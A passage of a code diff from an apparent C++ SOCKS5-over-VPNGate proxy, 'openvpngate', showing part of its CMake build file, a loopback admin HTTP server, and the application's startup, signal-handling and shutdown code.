# PRIVATE: lwIP's headers stop here. Callers see stream.h and packet_link.h,
# which is what makes replacing the stack a contained change.
target_link_libraries(ovg_netstack PRIVATE ovg_lwip)
endif()
# ---- selector: scoring, probing, node choice -------------------------------
add_library(ovg_selector STATIC
selector/history.cpp
selector/scorer.cpp
selector/prober.cpp
selector/selector.cpp)
target_link_libraries(ovg_selector PUBLIC ovg_vpngate)
# ---- egress: the way out, and the make-before-break switch -----------------
# The direct egress is always built: it is what the SOCKS5 tests run against,
# and what `egress_mode = direct` selects. The tunnel one only exists when there
# is a netstack for it to sit on, which is why it is a conditional source rather
# than a file full of #ifdefs.
set(OVG_EGRESS_SOURCES
egress/egress.cpp
egress/direct_egress.cpp
egress/egress_manager.cpp)
if(OVG_WITH_TUNNEL)
list(APPEND OVG_EGRESS_SOURCES egress/tunnel_egress.cpp)
endif()
add_library(ovg_egress STATIC ${OVG_EGRESS_SOURCES})
target_link_libraries(ovg_egress PUBLIC ovg_selector ovg_ovpn)
if(OVG_WITH_TUNNEL)
target_link_libraries(ovg_egress PUBLIC ovg_netstack)
endif()
# ---- socks5: the front door ------------------------------------------------
# Depends on ovg_egress only for the Egress interface; it never names a tunnel,
# a node, or lwIP. That is what lets the whole proxy be tested over loopback
# against a DirectEgress with no VPN in sight.
add_library(ovg_socks5 STATIC
socks5/protocol.cpp
socks5/auth.cpp
socks5/session.cpp
socks5/udp_relay.cpp
socks5/server.cpp)
target_link_libraries(ovg_socks5 PUBLIC ovg_egress)
# ---- health: scoring and the decision to switch ----------------------------
# Links the manager (it drives switches) but not socks5: the health picture is
# built from the egress alone, so nothing here can start depending on what the
# proxy happens to be doing.
add_library(ovg_health STATIC
health/health_monitor.cpp
health/switch_controller.cpp)
target_link_libraries(ovg_health PUBLIC ovg_egress)
# ---- app: assembly, admin endpoint, entry point ----------------------------
# The only target that links everything. Split into a library plus a two-line
# main so the assembled service can be constructed by a test without spawning a
# process.
add_library(ovg_app STATIC
app/app.cpp
app/admin_server.cpp)
target_link_libraries(ovg_app PUBLIC ovg_socks5 ovg_health)
if(OVG_WITH_TUNNEL)
target_link_libraries(ovg_app PUBLIC ovg_netstack)
endif()
add_executable(openvpngate app/main.cpp)
target_link_libraries(openvpngate PRIVATE ovg_app)
# ---- diagnostic tools ------------------------------------------------------
# Not part of the service. See each file's header comment for what it answers.
add_executable(ovg_tunnel_smoke ${CMAKE_SOURCE_DIR}/tools/tunnel_smoke.cpp)
target_link_libraries(ovg_tunnel_smoke PRIVATE ovg_ovpn)
+286
View File
@@ -0,0 +1,286 @@
#include "app/admin_server.h"
#include <array>
#include <memory>
#include <utility>
#include "app/json.h"
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::app {
namespace {
constexpr const char *kMod = "admin";
// A request that does not fit is not a request we serve. The largest thing any
// client legitimately sends here is a request line plus a handful of headers.
constexpr size_t kMaxRequestBytes = 8192;
constexpr std::chrono::seconds kRequestTimeout{10};
std::string http_response(int status, const char *reason,
const char *content_type, const std::string &body) {
std::string out;
out.reserve(body.size() + 160);
out += "HTTP/1.1 ";
out += std::to_string(status);
out += ' ';
out += reason;
out += "\r\nContent-Type: ";
out += content_type;
out += "\r\nContent-Length: ";
out += std::to_string(body.size());
// No caching and no sniffing: this is a control plane, and a proxy or a
// browser deciding to be clever with it helps nobody.
out += "\r\nCache-Control: no-store"
"\r\nX-Content-Type-Options: nosniff"
"\r\nConnection: close\r\n\r\n";
out += body;
return out;
}
} // namespace
// One request, one connection, one shot. Held alive by its own handlers.
class AdminServer::Conn : public std::enable_shared_from_this<AdminServer::Conn> {
public:
// The hooks are copied, not referenced: a connection outlives the accept
// handler that created it, and a dangling reference here would be a
// use-after-free reachable from the network.
Conn(asio::ip::tcp::socket sock, Hooks hooks)
: sock_(std::move(sock)),
timer_(sock_.get_executor()),
hooks_(std::move(hooks)) {}
void start() {
timer_.expires_after(kRequestTimeout);
auto self = shared_from_this();
timer_.async_wait([self](const std::error_code &ec) {
if (ec) return;
// A client that opens a socket and says nothing must not hold a slot.
std::error_code ignored;
self->sock_.close(ignored);
});
read_more();
}
private:
void read_more() {
if (buf_.size() >= kMaxRequestBytes) {
reply(413, "Payload Too Large", "text/plain", "request header too large\n");
return;
}
auto self = shared_from_this();
sock_.async_read_some(
asio::buffer(scratch_), [self](const std::error_code &ec, size_t n) {
if (ec) {
self->finish();
return;
}
self->buf_.append(self->scratch_.data(), n);
// Only the head is needed. A POST body is deliberately never read:
// every mutating endpoint here takes its input from the path.
const auto end = self->buf_.find("\r\n\r\n");
if (end == std::string::npos) {
self->read_more();
return;
}
self->dispatch(self->buf_.substr(0, self->buf_.find("\r\n")));
});
}
void dispatch(const std::string &request_line) {
// "METHOD SP TARGET SP VERSION"
const auto sp1 = request_line.find(' ');
const auto sp2 = sp1 == std::string::npos
? std::string::npos
: request_line.find(' ', sp1 + 1);
if (sp1 == std::string::npos || sp2 == std::string::npos) {
reply(400, "Bad Request", "text/plain", "malformed request line\n");
return;
}
const std::string method = request_line.substr(0, sp1);
std::string path = request_line.substr(sp1 + 1, sp2 - sp1 - 1);
if (const auto q = path.find('?'); q != std::string::npos) path.resize(q);
LOG_DEBUG(kMod, "{} {}", method, path);
if (method == "GET") {
if (path == "/healthz") {
reply(200, "OK", "text/plain", "ok\n");
return;
}
if (path == "/metrics") {
reply(200, "OK", "text/plain; version=0.0.4",
metrics::Registry::instance().render_prometheus());
return;
}
if (path == "/status" && hooks_.status_json) {
reply_json(hooks_.status_json());
return;
}
if (path == "/nodes" && hooks_.nodes_json) {
reply_json(hooks_.nodes_json());
return;
}
if (path == "/sessions" && hooks_.sessions_json) {
reply_json(hooks_.sessions_json());
return;
}
if (path == "/health" && hooks_.health_json) {
reply_json(hooks_.health_json());
return;
}
if (path == "/") {
reply(200, "OK", "text/plain",
"openvpngate admin\n"
" GET /status service state\n"
" GET /nodes current node ranking\n"
" GET /sessions live SOCKS5 sessions\n"
" GET /health recent health samples\n"
" GET /metrics prometheus metrics\n"
" GET /healthz liveness\n"
" POST /switch force a node switch\n");
return;
}
} else if (method == "POST") {
if (path == "/switch" && hooks_.force_switch) {
std::string detail;
const bool ok = hooks_.force_switch(&detail);
// Built through the writer rather than concatenated: `detail` carries a
// node id that came from the VPNGate directory, and that is not a
// string we chose.
Json j;
j.obj().kv("accepted", ok).kv("detail", detail).end_obj();
std::string body = j.take() + "\n";
// 409 rather than 500: a refusal means a switch is already running,
// which is a state conflict and not a failure.
reply(ok ? 202 : 409, ok ? "Accepted" : "Conflict", "application/json",
body);
return;
}
} else {
reply(405, "Method Not Allowed", "text/plain", "method not allowed\n");
return;
}
reply(404, "Not Found", "text/plain", "not found\n");
}
void reply_json(std::string body) {
body += '\n';
reply(200, "OK", "application/json", body);
}
void reply(int status, const char *reason, const char *type,
const std::string &body) {
resp_ = http_response(status, reason, type, body);
auto self = shared_from_this();
asio::async_write(sock_, asio::buffer(resp_),
[self](const std::error_code &, size_t) {
// Half-close so the client sees the end of the body
// even if it has not finished sending its own headers.
std::error_code ignored;
self->sock_.shutdown(
asio::ip::tcp::socket::shutdown_send, ignored);
self->finish();
});
}
void finish() {
timer_.cancel();
std::error_code ignored;
sock_.close(ignored);
}
asio::ip::tcp::socket sock_;
asio::steady_timer timer_;
Hooks hooks_;
std::array<char, 1024> scratch_{};
std::string buf_;
std::string resp_;
};
AdminServer::AdminServer(asio::io_context &io, AdminConfig cfg, Hooks hooks)
: io_(io),
cfg_(std::move(cfg)),
hooks_(std::move(hooks)),
strand_(asio::make_strand(io)),
acceptor_(strand_) {}
AdminServer::~AdminServer() { stop(); }
bool AdminServer::start(std::string *err) {
std::error_code ec;
const auto addr = asio::ip::make_address(cfg_.listen_address, ec);
if (ec) {
*err = "admin.listen_address is not an IP address: " + cfg_.listen_address;
return false;
}
const asio::ip::tcp::endpoint ep(addr, cfg_.listen_port);
acceptor_.open(ep.protocol(), ec);
if (ec) {
*err = "admin: cannot open socket: " + ec.message();
return false;
}
acceptor_.set_option(asio::socket_base::reuse_address(true), ec);
acceptor_.bind(ep, ec);
if (ec) {
*err = "admin: cannot bind " + ep.address().to_string() + ":" +
std::to_string(ep.port()) + ": " + ec.message();
return false;
}
acceptor_.listen(16, ec);
if (ec) {
*err = "admin: cannot listen: " + ec.message();
return false;
}
port_ = acceptor_.local_endpoint(ec).port();
if (!addr.is_loopback()) {
// See the header: there is no authentication here. Off-loopback this is an
// unauthenticated switch-my-VPN-now button on the network.
LOG_WARN(kMod,
"admin endpoint is bound to {}, which is NOT loopback, and it has "
"no authentication -- anyone who can reach it can force a node "
"switch and read live session metadata",
addr.to_string());
}
LOG_INFO(kMod, "listening on {}:{}", addr.to_string(), port_);
do_accept();
return true;
}
void AdminServer::do_accept() {
if (stopping_.load(std::memory_order_acquire)) return;
acceptor_.async_accept(
asio::make_strand(io_),
[this](const std::error_code &ec, asio::ip::tcp::socket sock) {
if (ec) {
if (ec == asio::error::operation_aborted) return;
LOG_WARN(kMod, "accept failed: {}", ec.message());
if (acceptor_.is_open()) do_accept();
return;
}
if (stopping_.load(std::memory_order_acquire)) {
std::error_code ignored;
sock.close(ignored);
return;
}
std::make_shared<Conn>(std::move(sock), hooks_)->start();
do_accept();
});
}
void AdminServer::stop() {
if (stopping_.exchange(true, std::memory_order_acq_rel)) return;
asio::post(strand_, [this] {
std::error_code ignored;
acceptor_.close(ignored);
});
LOG_INFO(kMod, "listener stopped");
}
} // namespace ovg::app
+81
View File
@@ -0,0 +1,81 @@
// The operator interface: a deliberately small HTTP/1.1 server.
//
// ---------------------------------------------------------------------------
// Scope
// ---------------------------------------------------------------------------
// GET /status everything about the running service, as JSON
// GET /nodes the current ranking, with the scores that produced it
// GET /sessions live SOCKS5 sessions (bounded)
// GET /health recent health samples and the verdicts behind them
// GET /metrics Prometheus text exposition
// GET /healthz liveness; 200 and nothing else
// POST /switch force a node switch now
//
// One request per connection, `Connection: close`, no keep-alive, no chunked
// encoding, no request body ever read past its headers. That is not laziness:
// this endpoint exists so a human or a scrape job can ask questions, and every
// feature beyond that is attack surface on a control plane.
//
// ---------------------------------------------------------------------------
// Why there is no authentication
// ---------------------------------------------------------------------------
// Because it binds to loopback and validate() refuses anything else without an
// explicit opt-in. A token on a loopback socket protects against nothing that
// a token in the same config file would not also expose; if this ever needs to
// listen on a real interface, it needs real auth, and that is a change to make
// deliberately rather than to half-do now. Binding off-loopback logs a warning
// on every start for exactly that reason.
//
// The hooks are std::functions rather than component pointers so this file
// depends on no module: app/ knows where the numbers come from, this only knows
// how to serve them.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <cstdint>
#include <functional>
#include <string>
#include "common/config.h"
#include "common/strand_deleter.h"
namespace ovg::app {
class AdminServer {
public:
struct Hooks {
std::function<std::string()> status_json;
std::function<std::string()> nodes_json;
std::function<std::string()> sessions_json;
std::function<std::string()> health_json;
// Returns false if the switch was refused; `detail` explains either way.
std::function<bool(std::string *detail)> force_switch;
};
AdminServer(asio::io_context &io, AdminConfig cfg, Hooks hooks);
~AdminServer();
AdminServer(const AdminServer &) = delete;
AdminServer &operator=(const AdminServer &) = delete;
bool start(std::string *err);
void stop();
uint16_t port() const { return port_; }
private:
class Conn;
void do_accept();
asio::io_context &io_;
AdminConfig cfg_;
Hooks hooks_;
Strand strand_;
asio::ip::tcp::acceptor acceptor_;
uint16_t port_ = 0;
std::atomic<bool> stopping_{false};
};
} // namespace ovg::app
+581
View File
@@ -0,0 +1,581 @@
#include "app/app.h"
#include <algorithm>
#include <csignal>
#include <utility>
#include "app/json.h"
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
#if OVG_WITH_TUNNEL
#include "netstack/lwip_stack.h"
#endif
namespace ovg::app {
namespace {
constexpr const char *kMod = "app";
// Bounded so an operator cannot ask for a thousand-entry document by accident.
constexpr size_t kMaxSessionsListed = 200;
constexpr size_t kMaxNodesListed = 50;
constexpr size_t kHealthSamplesListed = 10;
int io_thread_count(const Socks5Config &cfg) {
if (cfg.io_threads > 0) return cfg.io_threads;
const unsigned hw = std::thread::hardware_concurrency();
// Four is the ceiling on purpose (docs/ARCHITECTURE.md §4): past that, the
// contention inside lwIP's single strand costs more than the extra threads
// buy, because every tunnelled byte has to pass through it anyway.
return static_cast<int>(std::min<unsigned>(hw == 0 ? 1 : hw, 4));
}
metrics::Gauge *g_uptime() {
static auto *g = metrics::gauge("ovg_uptime_seconds", "Process uptime");
return g;
}
} // namespace
App::App(Config cfg)
: cfg_(std::move(cfg)),
io_(io_thread_count(cfg_.socks5)),
work_(asio::make_work_guard(io_)),
signals_(io_) {}
App::~App() {
// Everything below holds a reference to io_ and must be gone before it is.
admin_.reset();
switcher_.reset();
health_.reset();
socks_.reset();
egress_.reset();
selector_.reset();
#if OVG_WITH_TUNNEL
stack_.reset();
#endif
nodes_.reset();
}
bool App::init_logging(std::string *err) {
log::set_level(cfg_.logging.level);
for (const auto &kv : cfg_.logging.module_levels) {
log::set_module_level(kv.first, kv.second);
}
if (!log::set_output_file(cfg_.logging.file, err)) return false;
return true;
}
bool App::init_egress(std::string *err) {
const bool want_tunnel = cfg_.egress_mode != "direct";
#if OVG_WITH_TUNNEL
if (want_tunnel) {
try {
stack_ = std::make_unique<netstack::Stack>(io_, cfg_.dns);
} catch (const std::exception &e) {
*err = std::string("cannot start the userspace network stack: ") +
e.what();
return false;
}
}
#else
if (want_tunnel) {
// Refusing beats silently proxying in the clear. Someone who configured
// `egress_mode = tunnel` and got direct host sockets would have a working
// proxy and no VPN, which is the one failure mode that must never be quiet.
*err =
"egress_mode is 'tunnel' but this build has no tunnel support "
"(configure with -DOVG_WITH_TUNNEL=ON, or set egress_mode = direct)";
return false;
}
#endif
if (!want_tunnel) {
LOG_WARN(kMod,
"egress_mode = direct: traffic leaves through the host's own "
"network, NOT through a VPN. This mode exists for testing.");
}
#if OVG_WITH_TUNNEL
netstack::Stack *stack = stack_.get();
#else
netstack::Stack *stack = nullptr;
#endif
egress_ = std::make_unique<egress::EgressManager>(
io_, cfg_, selector_.get(), history_.get(), stack);
return true;
}
bool App::start(std::string *err) {
started_ = std::chrono::steady_clock::now();
if (!init_logging(err)) return false;
LOG_INFO(kMod, "starting: egress_mode={}, io_threads={}, tunnel_support={}",
cfg_.egress_mode, io_thread_count(cfg_.socks5),
OVG_WITH_TUNNEL ? "yes" : "no");
// ---- node list and selection ---------------------------------------------
nodes_ = std::make_unique<vpngate::NodeStore>(io_, cfg_.vpngate);
history_ = std::make_unique<selector::HistoryStore>(
cfg_.selector.history_path, cfg_.selector);
history_->load();
LOG_INFO(kMod, "loaded history for {} node(s) from {}", history_->size(),
cfg_.selector.history_path);
selector_ = std::make_unique<selector::Selector>(io_, cfg_.selector, *nodes_,
*history_);
// ---- the way out ---------------------------------------------------------
if (!init_egress(err)) return false;
// ---- the front door ------------------------------------------------------
// The provider is a lambda rather than a manager pointer so the SOCKS5 layer
// keeps knowing nothing about switching; see socks5/server.h.
socks_ = std::make_unique<socks5::Server>(
io_, cfg_, [this] { return egress_->acquire(); });
if (!socks_->start(err)) return false;
// ---- health and the switch decision --------------------------------------
health_ = std::make_unique<health::HealthMonitor>(
io_, cfg_.health, [this] { return egress_->acquire(); });
switcher_ = std::make_unique<health::SwitchController>(io_, cfg_, *health_,
*egress_);
wire_switch_hooks();
switcher_->start(); // before the monitor, so no verdict is missed
// ---- admin ---------------------------------------------------------------
if (cfg_.admin.enabled) {
AdminServer::Hooks hooks;
hooks.status_json = [this] { return status_json(); };
hooks.nodes_json = [this] { return nodes_json(); };
hooks.sessions_json = [this] { return sessions_json(); };
hooks.health_json = [this] { return health_json(); };
hooks.force_switch = [this](std::string *detail) {
// The refusal text comes from the manager, which is the only layer that
// knows which of the four refusal conditions it was. Guessing here is how
// a direct-mode build ends up telling an operator that a switch it never
// attempted is "already in progress".
const bool ok = switcher_->force_switch("admin request", detail);
if (ok) *detail = "switch started";
else if (detail->empty()) *detail = "refused";
return ok;
};
admin_ = std::make_unique<AdminServer>(io_, cfg_.admin, std::move(hooks));
if (!admin_->start(err)) return false;
}
install_signals();
// ---- bring the first egress up -------------------------------------------
// The listener is already accepting: a client that connects before a tunnel
// exists is refused at accept with a counted `no_egress`, which is a far
// better answer than a connection that hangs until the first node is up.
nodes_->start();
egress_->start([this](const std::error_code &ec) {
if (ec) {
// Shutting down before the first tunnel came up cancels the startup, and
// that arrives here looking exactly like a failure. It is not one, and
// reporting it as ERROR -- with advice about a proxy that "stays up",
// three lines above "stopped" -- is how a clean exit gets read as a crash.
if (stopping_.load(std::memory_order_acquire)) {
LOG_INFO(kMod, "startup abandoned: {}", ec.message());
return;
}
LOG_ERROR(kMod,
"no usable egress after the startup retry budget: {}. The "
"proxy stays up and keeps refusing connections; the switch "
"controller will keep trying.",
ec.message());
return;
}
const auto st = egress_->status();
LOG_INFO(kMod, "egress ready on {}", st.active_node);
health_->start();
});
return true;
}
void App::wire_switch_hooks() {
// One hook, two subscribers, and the order is not arbitrary.
//
// The SOCKS5 server goes first because re-homing has to happen *before* the
// old egress starts draining: a session that moves onto the new egress must
// do so while the old one is still whole, or a re-dial that fails has nothing
// to fall back to. The controller's half only re-probes health, which is
// meaningless until the new egress is actually the active one.
egress_->set_on_promote(
[this](const egress::EgressPtr &old_e, const egress::EgressPtr &new_e) {
if (socks_) socks_->on_promote(old_e, new_e);
if (switcher_) {
switcher_->note_promotion(old_e ? old_e->label() : "-",
new_e ? new_e->label() : "-");
}
});
egress_->set_on_drain_expired([this](const egress::EgressPtr &e) {
if (socks_) socks_->on_drain_expired(e);
});
}
void App::install_signals() {
signals_.add(SIGINT);
signals_.add(SIGTERM);
signals_.add(SIGHUP);
// SIGPIPE would take the process down on a write to a peer that vanished,
// which on a proxy is a routine Tuesday.
std::signal(SIGPIPE, SIG_IGN);
signals_.async_wait([this](const std::error_code &ec, int sig) {
if (ec) return;
if (sig == SIGHUP) {
// Reload the things it is safe to reload while running: credentials and
// the node list. Not listen addresses, not thread counts -- those need a
// restart, and pretending otherwise is how you get a half-applied config.
if (!cfg_.socks5.auth_file.empty() && socks_) {
std::vector<Credential> users;
std::string err;
if (load_auth_file(cfg_.socks5.auth_file, &users, &err)) {
const size_t n = socks_->auth().replace(std::move(users));
LOG_INFO(kMod, "SIGHUP: reloaded {} credential(s) from {}", n,
cfg_.socks5.auth_file);
} else {
LOG_ERROR(kMod, "SIGHUP: keeping the old credentials, {} is bad: {}",
cfg_.socks5.auth_file, err);
}
}
if (nodes_) {
nodes_->refresh_now([](std::error_code rec, size_t n) {
if (rec) {
LOG_WARN(kMod, "SIGHUP: node refresh failed: {}", rec.message());
} else {
LOG_INFO(kMod, "SIGHUP: node list refreshed, {} node(s)", n);
}
});
}
install_signals(); // re-arm; SIGHUP is not a shutdown
return;
}
const int n = stop_requests_.fetch_add(1, std::memory_order_acq_rel) + 1;
if (n == 1) {
LOG_INFO(kMod, "signal {} received, shutting down gracefully", sig);
begin_shutdown();
install_signals(); // so a second one can still be heard
return;
}
LOG_WARN(kMod, "signal {} received again, stopping now", sig);
io_.stop();
});
}
void App::shutdown() { asio::post(io_, [this] { begin_shutdown(); }); }
void App::begin_shutdown() {
if (stopping_.exchange(true, std::memory_order_acq_rel)) return;
// Reverse construction order. Each step stops producing work for the next.
if (admin_) admin_->stop();
if (switcher_) switcher_->stop();
if (health_) health_->stop();
if (socks_) socks_->stop();
if (nodes_) nodes_->stop();
if (history_) history_->save();
// Dropping the work guard lets run() return once the queues drain, rather
// than stopping the context out from under handlers that are mid-flight.
//
// The signal_set has to be cancelled in the same breath. The graceful path
// re-arms it so a second Ctrl-C can still be heard, and that re-armed
// async_wait is genuine outstanding work -- with it pending, run() has
// something to do forever and the process hangs after logging a picture-
// perfect shutdown sequence. The pending handler gets operation_aborted and
// returns on its `if (ec)`, so nothing else observes this.
// The lwIP timer is the other one, and it is the reason `direct` mode used to
// exit cleanly while `tunnel` mode hung: the stack ticks for as long as it
// exists and re-arms itself, and it is owned by this object, which is not
// destroyed until run() has returned. Stopped here rather than in the
// destructor, and only after the egress is gone -- lwIP timers are what
// retransmit the last packets of a graceful close.
const auto release = [this] {
std::error_code ignored;
signals_.cancel(ignored);
#if OVG_WITH_TUNNEL
if (stack_) stack_->stop();
#endif
work_.reset();
};
if (!egress_) {
release();
return;
}
egress_->shutdown([this, release] {
LOG_INFO(kMod, "egress torn down; releasing the io context");
release();
});
}
int App::run() {
const int n = io_thread_count(cfg_.socks5);
LOG_INFO(kMod, "running on {} io thread(s)", n);
threads_.reserve(static_cast<size_t>(n) - 1);
for (int i = 1; i < n; ++i) {
threads_.emplace_back([this] {
try {
io_.run();
} catch (const std::exception &e) {
// A handler that throws would otherwise take the thread with it and
// leave the service running with fewer than it thinks it has.
LOG_ERROR(kMod, "io thread died: {}", e.what());
}
});
}
try {
io_.run();
} catch (const std::exception &e) {
LOG_ERROR(kMod, "io thread died: {}", e.what());
}
for (auto &t : threads_) {
if (t.joinable()) t.join();
}
threads_.clear();
if (history_) history_->save();
LOG_INFO(kMod, "stopped");
return 0;
}
uint16_t App::socks5_port() const { return socks_ ? socks_->port() : 0; }
uint16_t App::admin_port() const { return admin_ ? admin_->port() : 0; }
// ---------------------------------------------------------------------------
// Admin JSON
// ---------------------------------------------------------------------------
std::string App::status_json() const {
const auto now = std::chrono::steady_clock::now();
const auto uptime_s =
std::chrono::duration_cast<std::chrono::seconds>(now - started_).count();
g_uptime()->set(uptime_s);
Json j;
j.obj();
j.kv("uptime_seconds", static_cast<int64_t>(uptime_s));
j.kv("egress_mode", cfg_.egress_mode);
j.kv("tunnel_support", OVG_WITH_TUNNEL != 0);
j.key("socks5").obj();
if (socks_) {
const auto s = socks_->stats();
j.kv("listen", cfg_.socks5.listen_address + ":" +
std::to_string(socks_->port()));
j.kv("require_auth", cfg_.socks5.require_auth);
j.kv("udp_associate", cfg_.socks5.udp_associate_enabled);
j.kv("max_sessions", cfg_.socks5.max_sessions);
j.kv("active", s.active);
j.kv("accepted_total", s.accepted);
j.kv("rejected_over_limit_total", s.rejected);
j.kv("refused_no_egress_total", s.no_egress);
j.kv("auth_ok_total", s.auth_ok);
j.kv("auth_failed_total", s.auth_failed);
}
j.end_obj();
j.key("egress").obj();
if (egress_) {
const auto st = egress_->status();
j.kv("phase", egress::switch_phase_name(st.phase));
j.kv("active_node", st.active_node);
j.kv("active_state", egress::egress_state_name(st.active_state));
j.kv("active_detail", st.active_detail);
j.kv("candidate", st.candidate);
j.kv("draining", st.draining);
j.kv("switches_total", st.switches);
j.kv("switch_failures_total", st.switch_failures);
j.kv("last_reason", st.last_reason);
j.kv("ms_since_switch", st.ms_since_switch);
j.kv("backoff_ms", st.backoff_ms);
if (const auto active = egress_->acquire()) {
const auto s = active->stats();
j.key("active_stats").obj();
j.kv("node_id", s.node_id);
j.kv("country", s.node_country);
j.kv("server_ip", s.server_ip);
j.kv("local_address", s.local_address);
j.kv("proto", s.proto);
j.kv("uptime_ms", s.uptime_ms);
j.kv("sessions", s.sessions);
j.kv("tcp_opened", s.tcp_opened);
j.kv("tcp_failed", s.tcp_failed);
j.kv("tcp_active", s.tcp_active);
j.kv("udp_active", s.udp_active);
j.kv("tun_bytes_in", s.tun_bytes_in);
j.kv("tun_bytes_out", s.tun_bytes_out);
j.kv("transport_bytes_in", s.transport_bytes_in);
j.kv("transport_bytes_out", s.transport_bytes_out);
j.kv("rx_packets", s.rx_packets);
j.kv("tx_packets", s.tx_packets);
j.kv("tx_dropped", s.tx_dropped);
j.kv("rx_dropped", s.rx_dropped);
j.kv("rx_malformed", s.rx_malformed);
j.kv("last_packet_received_ms", static_cast<int64_t>(
s.last_packet_received_ms));
j.end_obj();
}
j.key("draining_list").arr();
for (const auto &d : egress_->draining_stats()) {
j.obj();
j.kv("node_id", d.node_id);
j.kv("sessions", d.sessions);
j.kv("uptime_ms", d.uptime_ms);
j.end_obj();
}
j.end_arr();
}
j.end_obj();
j.key("health").obj();
if (health_) {
const auto s = health_->last();
j.kv("rounds", health_->rounds());
j.kv("consecutive_bad", health_->consecutive_bad());
j.kv("score", s.score);
j.kv("healthy", s.healthy);
j.kv("verdict", s.verdict);
j.kv("age_ms", s.age_ms);
}
j.end_obj();
j.key("switching").obj();
if (switcher_) {
const auto s = switcher_->stats();
j.kv("mode", cfg_.switching.mode == SwitchConfig::Mode::Graceful
? "graceful"
: "hard");
j.kv("requested_total", s.requested);
j.kv("declined_total", s.declined);
j.kv("by_unhealthy", s.unhealthy);
j.kv("by_tunnel_down", s.tunnel_down);
j.kv("by_opportunistic", s.opportunistic);
j.kv("by_manual", s.manual);
j.kv("last_trigger", s.last_trigger);
}
j.end_obj();
j.key("nodes").obj();
if (nodes_) {
const auto snap = nodes_->snapshot();
j.kv("known", snap ? snap->size() : size_t{0});
const auto last = nodes_->last_success();
j.kv("last_refresh_epoch_s",
static_cast<int64_t>(
std::chrono::duration_cast<std::chrono::seconds>(
last.time_since_epoch())
.count()));
}
j.end_obj();
j.end_obj();
return j.take();
}
std::string App::nodes_json() const {
Json j;
j.obj();
j.key("ranking").arr();
if (selector_) {
size_t n = 0;
for (const auto &c : selector_->last_ranking()) {
if (n++ >= kMaxNodesListed) break;
j.obj();
j.kv("id", c.node.id());
j.kv("country", c.node.country_short);
j.kv("ip", c.node.ip);
j.kv("score", c.score);
j.kv("prior", c.prior);
j.kv("rtt_ms", c.rtt_ms);
j.kv("probed", c.probed);
j.kv("reachable", c.reachable);
j.kv("backed_off", c.backed_off);
j.kv("note", c.note);
j.kv("api_score", c.node.api.score);
j.kv("api_speed_bps", c.node.api.speed_bps);
j.kv("api_sessions", c.node.api.num_sessions);
j.kv("api_ping_ms", c.node.api.ping_ms);
j.kv("udp", c.node.has_udp());
j.kv("tcp", c.node.has_tcp());
j.end_obj();
}
}
j.end_arr();
j.kv("truncated_at", kMaxNodesListed);
j.end_obj();
return j.take();
}
std::string App::sessions_json() const {
Json j;
j.obj();
j.key("sessions").arr();
if (socks_) {
for (const auto &s : socks_->sessions(kMaxSessionsListed)) {
j.obj();
j.kv("id", s.id);
j.kv("client", s.client);
j.kv("target", s.target);
j.kv("command", s.command);
j.kv("state", s.state);
j.kv("egress", s.egress_label);
j.kv("bytes_up", s.bytes_up);
j.kv("bytes_down", s.bytes_down);
j.kv("age_ms", s.age_ms);
j.end_obj();
}
}
j.end_arr();
j.kv("truncated_at", kMaxSessionsListed);
j.end_obj();
return j.take();
}
std::string App::health_json() const {
Json j;
j.obj();
if (health_) {
j.kv("rounds", health_->rounds());
j.kv("consecutive_bad", health_->consecutive_bad());
j.kv("unhealthy_windows", cfg_.health.unhealthy_windows);
j.kv("min_score", cfg_.health.min_score);
j.key("samples").arr();
for (const auto &s : health_->recent(kHealthSamplesListed)) {
j.obj();
j.kv("age_ms", s.age_ms);
j.kv("egress", s.egress_label);
j.kv("egress_present", s.egress_present);
j.kv("tunnel_up", s.tunnel_up);
j.kv("probe_ok", s.probe_ok);
j.kv("rtt_ms", s.rtt_ms);
j.kv("connect_failure_rate", s.connect_failure_rate);
j.kv("stall_known", s.stall_known);
j.kv("stalled_ms", s.stalled_ms);
j.kv("loss_rate", s.loss_rate);
j.kv("score", s.score);
j.kv("healthy", s.healthy);
j.kv("verdict", s.verdict);
j.end_obj();
}
j.end_arr();
}
j.end_obj();
return j.take();
}
} // namespace ovg::app
+117
View File
@@ -0,0 +1,117 @@
// Assembly. The only file that knows every module exists.
//
// ---------------------------------------------------------------------------
// What lives here and what does not
// ---------------------------------------------------------------------------
// Construction order, wiring, the io thread pool, signal handling, and the JSON
// the admin endpoint serves. No policy: whether to switch is health/'s call,
// how to switch is egress/'s, which node is selector/'s. If a decision is being
// made in this file, it is in the wrong file.
//
// The one thing that genuinely belongs here is the fan-out for
// EgressManager::set_on_promote, which has a single slot and two subscribers
// (the SOCKS5 server re-homes sessions; the switch controller re-probes
// health). Ordering matters and is documented at the call site.
//
// ---------------------------------------------------------------------------
// Shutdown
// ---------------------------------------------------------------------------
// Ordered, because the reverse of construction is the only order in which
// nothing observes a half-destroyed neighbour:
//
// admin -> health -> socks5 listener -> egress manager -> node store
// -> io_context.stop() once the manager reports everything gone
//
// The io threads are joined last. A second signal skips the graceful path and
// stops the io_context immediately -- an operator pressing Ctrl-C twice means
// it, and a shutdown that cannot be interrupted is its own kind of bug.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <memory>
#include <string>
#include <thread>
#include <vector>
#include "app/admin_server.h"
#include "common/config.h"
#include "egress/egress_manager.h"
#include "health/health_monitor.h"
#include "health/switch_controller.h"
#include "selector/history.h"
#include "selector/selector.h"
#include "socks5/server.h"
#include "vpngate/node_store.h"
namespace ovg::netstack {
class Stack;
}
namespace ovg::app {
class App {
public:
explicit App(Config cfg);
~App();
App(const App &) = delete;
App &operator=(const App &) = delete;
// Brings everything up. Returns false with `err` filled if anything refuses
// to start; nothing is left running in that case.
bool start(std::string *err);
// Blocks until shutdown completes. Returns the process exit code.
int run();
// Safe to call from a signal handler context (it only posts).
void shutdown();
// Test seam: the ports actually bound, which differ from the configured ones
// when those were 0.
uint16_t socks5_port() const;
uint16_t admin_port() const;
private:
bool init_logging(std::string *err);
bool init_egress(std::string *err);
void wire_switch_hooks();
void install_signals();
void begin_shutdown();
std::string status_json() const;
std::string nodes_json() const;
std::string sessions_json() const;
std::string health_json() const;
Config cfg_;
asio::io_context io_;
// Keeps the io_context alive while it has nothing to do, which is most of the
// time before the first connection arrives.
asio::executor_work_guard<asio::io_context::executor_type> work_;
asio::signal_set signals_;
std::unique_ptr<vpngate::NodeStore> nodes_;
std::unique_ptr<selector::HistoryStore> history_;
std::unique_ptr<selector::Selector> selector_;
